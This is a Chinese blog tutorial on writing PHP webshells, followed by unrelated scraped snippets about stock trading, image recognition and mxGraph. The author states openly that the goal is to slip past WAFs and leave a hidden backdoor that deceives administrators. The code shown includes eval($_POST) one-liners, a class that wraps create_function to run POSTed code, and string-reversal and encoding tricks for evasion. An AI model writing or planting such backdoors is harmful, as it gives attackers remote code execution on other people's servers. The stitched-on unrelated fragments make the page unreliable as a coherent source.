webshell在php方向的研究(精华篇)

文章主旨:准备学习c语言,你喜欢的所有干货在文末附件里 作者宗旨:没有不想当将军的兵,没有不想提高技术的person,今天带你打开php的研究之路。

本文作者:Laimooc(原名xoanHn),个人站点:www.laimooc.cn

 

前几篇帖子:

通用型保存网站用户密码到css文件
PHP之编写日志文件留后门(免杀)
Substr函数助你免杀php脚本(淫荡思路)

本来打算写一个综合性的PHP脚本文件(修改文件内容、复制文件、删除文件、创建文件、目录遍历等;执行系统命令;文件的上传;文件内容的加解密或者编解码;增删改查数据库;劫持登陆表单等一些操作)。发现这个需要花费很多的时间来调试,况且这些模块的分割拆解网上已经有了一些,所以,就到此为止。

本次发表文章,主要是围绕类的封装、构造函数以及perl-Class常量的使用、编码解码等,来与常规的结合,进行制作webshell

最基础的webshell,莫过于:

,或者还有最短的吧。

【eval($_POST[1]);】

那么我研究的初衷:1、是因为最短的一句话,会被很多的waf等直接拦截2、我想留下比较隐蔽并且容易忽悠管理员的后门3、我想锻炼一下自己的php掌握与使用能力4、为了给我们的开发团队督导一下安全编程思想。

最基础的类 :

Class classname

{

}

深入一点那么就是如下:

Class classname

{

Function operation(){ }

}

实例化:

$a = new classname();

$a -> operation();

嗯,是的就是如此,很常见的类。

看看perl-class呢:

class math{

const pi = 3.14159;

}

echo math::pi. "\n";

就是上面如此,::操作符来访问perl-clas常量。我们调试一下perl-class试试看:

神奇吧,我也这么觉得,php真的很让我开心Ilove her !那么我们现在用perlclass,来做一个webshell试试看呗:

<?php

error_reporting(0);

//perl-Class 思想

class math{

const pi = 3.14159;

}

echo &quot;Math::pi=&quot; .math::pi. &quot;\n&quot;;

const pi 这是我们的perl-class常量,在class中声明,然后类外::操作符进行常量引用。那么我们先修改pi为base64_decode,你感觉会实现吗,会不会因为是字符串然后error呢,不用怕,走起来看看吧,咱们有万能的echo:

使用试试看,其实学习吧,就是不要拘束,我的引路人给了很大的鼓励,是我的榜样:

在使用这个编码的时候,我心里在想也可以使用url编码、者rot13编码、反转、字符串拼接、字符串的拆分利用(如:explode)、字符串的查找替换(如:substr)、quoted-printable 字符串转换利用等等,更多的请参考: http://php.net/ref.strings如下,自己在这块调试的一个一句话:

下面我们来讲解一下,类的封装来制作一句话:先来一个成品如下图示,点击,显示源码:

对不起,再点击,也显示不了源码。前面我们说过了类的原型,那么下面我们试试:

class a{

function create_fun($data)

{

$post= create_function('', $data);

$post();

}

}

我们外部类,内部调用了动态创建函数,来为下一步的webshell做铺垫,然后我们来实例化吧:$a = new a();

这句就是实例化,简答吧,要记住了new 来实例化的,那么我们下面来引用,前面我们在类的内部定义了一个create_fun ,我们在这里使用它即可,如下,

$a -&gt;create_fun($shell);

那么到这里了,是不是还少个东西,看出来了大伙,参数噻,下面我们简单的定义参数呗:直接一句话,哈哈,简单暴力。

$shell =&quot;eval($_POST[c]);&quot;;

那么现在整理就完成了,类的封装来实现一句话的,测试看看:

执行命令是可以的。就是这样吧。

可以看到我们的phpinfo() 也是可以的。

最后,说一说,如何结合构造函数来生成一句话的,其实如果善于调试的话,我们的研究到这里应该已经结束了。

但是为了多讲几句,我还是留下了,先演示一下,如何反转字符串,这点让我感觉php神奇的一匹马:

function reverse_chr($str){

for($i=1;$i<=strlen($str);$i++){

$strr= substr($str,-$i,1);

echo $strr;

}

return;

}

这段足够代码实现,哈哈哈,其实还可以更见简短一些一个单词的事情:strrev ,这个函数你别看小,它的威力很强大,自行联想。

这个反转函数,怎么用,一句话:慢慢来,多使用,大佬们传授的经验。授之以鱼,不如授之以渔。你们长大了,成功了,分我们一碗汤喝就可以。

好了吧,不扯了,颈椎痛,大家平时要注意锻炼身体。

下面这张图,我敢保证,让你感到惊喜又兴奋!

最后一次对php在webshell方面的研究到此结束。准备去学习c语言了。附件打包地址回看原文下载>>>戳我

时间: 2024-10-16 11:46:25

webshell在php方向的研究(精华篇)的相关文章

利弗莫尔的操盘精华篇

[转载]利弗莫尔的操盘精华篇 (2017-02-01 17:27:47) 转载▼ 标签: 转载 分类: 经济 原文地址:利弗莫尔的操盘精华篇作者:   1.先看大盘,大盘不好,不要买入任何股票,只在大盘趋势向上时才操作. 2.先做最强势板块,跟踪观察. 3.在强势板块中选龙头股. 4.做好资金管控,先用小资金试仓,涨时加仓.          一位统帅打伏,他总是要先侦察,并出动小部队试探虚实,确定值不值得打,赢的机率大不大,只有赢面大的时候才会把后续部队压上,精明的统帅总是时常储备有后备军的和

图像识别的原理、过程、应用前景,精华篇!

图像识别的原理.过程.应用前景,精华篇! 图像识别技术是信息时代的一门重要的技术,其产生目的是为了让计算机代替人类去处理大量的物理信息.随着计算机技术的发展,人类对图像识别技术的认识越来越深刻.图像识别技术的过程分为信息的获取.预处理.特征抽取和选择.分类器设计和分类决策.简单分析了图像识别技术的引入.其技术原理以及模式识别等,之后介绍了神经网络的图像识别技术和非线性降维的图像识别技术及图像识别技术的应用.从中可以总结出图像处理技术的应用广泛,人类的生活将无法离开图像识别技术,研究图像识别技术具

mxgraph进阶(三)Web绘图——mxGraph项目实战(精华篇)

Web绘图--mxGraph项目实战(精华篇) 声明     本文部分内容所属论文现已发表,请慎重对待. 需求 由于小论文实验需求,需要实现根据用户日志提取出行为序列,然后根据行为序列生成有向图的形式,并且连接相邻动作的弧上标有执行此次相邻动作的频次,每个动作另附有一个数据集,这样有向图加数据集就构成了用户交互图.为此,自己想到了mxGraph,遂决定学习之. 起步 此次项目实战是受阅读参考文献[1]启发,并在其图形布局实例基础上进行.其原始界面如图1所示,自己要实现的界面布局与之颇有几分神似.

(转)Linux系统基础网络配置老鸟精华篇

Linux系统基础网络配置老鸟精华篇 原文:http://blog.51cto.com/oldboy/784625 对于linux高手看似简单的网络配置问题,也许要说出所以然来也并不轻松,因此仍然有太多的初学者徘徊在门外就不奇怪了,这里,老男孩老师花了一些时间总结了这个文档小结,也还不够完善,欢迎大家补充,交流.谢谢大家!20120827补充:http://oldboy.blog.51cto.com/2561410/974194 深入浅出route命令小结目录:1)配置修改主机名hostname

7年iOS开发,自述通往架构师的修炼之路【精华篇】

前言: 本篇文章仅供大家参考学习以及在成为架构师的道路上应该掌握的知识点和经验.相信你在看完这篇文章后,你有一个明确的目标以及一个通往架构师路上正确的方向. 导读: 1.架构师应不应该写代码 2.为什么别人的系统总是那么烂 3.成为架构师最困难的门槛是什么? 4.如何更高效的学习? 5.面对目前流行的技术不知如何下手? 6.一家公司待久了,过得很安逸,但跳槽时面试碰壁? 7.觉得现在的技术基础感觉到很扎实,但就是自己的技术提升不上? 8.觉得自己很牛B,一般需求都能搞定,但是所学的知识点没有系统

android-5 研究启动篇

对付任何东西,都需要软硬兼施,对付android这家伙,软的招是搜集各种系统的.质量较高的文档及博客,先大概过一篇,看看有没有硬伤(就是自己完全不懂的领域):硬的是搭建源码编译和项目执行环境,实际动刀切进去. 开篇研究,就从这两方面入手,由于这里边有些坑,主要是硬的方面拜大GFW所赐,官方的搭建方式可能会弄得吐血,不得不搜办法绕过,感谢那些搭建了国内镜像站的骚年们,you are so great! ====== 先来软的:  android 书籍.博客 下面是2014年左右新鲜出炉的andro

Delphi驱动开发研究第一篇--实现原理

Delphi能不能开发Windows的驱动程序(这里的驱动程序当然不是指VxD了^_^)一直是广大Delphi fans关注的问题.姑且先不说能或者不能,我们先来看看用Delphi开发驱动程序需要解决哪些技术上问题.   Delphi的链接器是无法生成Windows内核模式程序的,因此用delphi无法直接生成驱动程序.M$的链接器是可以生成Windows内核模式程序的,那么是否可以用Delphi生成目标文件,然后用M$链接呢?要这么做必须要解决以下的问题:   Delphi生成的目标文件是OM

如何为编程爱好者设计一款好玩的智能硬件(十)——无线2.4G通信模块研究&#183;一篇说完

六.温湿度传感器DHT11驱动封装(下):如何为编程爱好者设计一款好玩的智能硬件(六)——初尝试·把温湿度给收集了(下)! 七.点阵字符型液晶显示模块LCD1602驱动封装(上):如何为编程爱好者设计一款好玩的智能硬件(七)——LCD1602点阵字符型液晶显示模块驱动封装(上) 八.LCD1602点阵字符型液晶显示模块驱动封装(中):如何为编程爱好者设计一款好玩的智能硬件(八)——LCD1602点阵字符型液晶显示模块驱动封装(中) 九.LCD1602点阵字符型液晶显示模块驱动封装(下):如何为编

ONVIF客户端搜索设备获取rtsp地址开发笔记(精华篇)

原文  http://blog.csdn.net/gubenpeiyuan/article/details/25618177 概要: 前言及鸣谢: 感谢guog先生,快活林高先生,onvif全国交流群的的酷夏先生在开发过程中给予的巨大支持,没有你们的帮助开发过程将异常艰难啊.谢谢了! ONVIF介绍: ONVIF致力于通过全球性的开放接口标准来推进 网络视频 在安防市场的应用,这一接口标准将确保不同厂商生产的网络视频产品具有互通性.2008年11月,论坛正式发布了ONVIF第一版规范——ONVI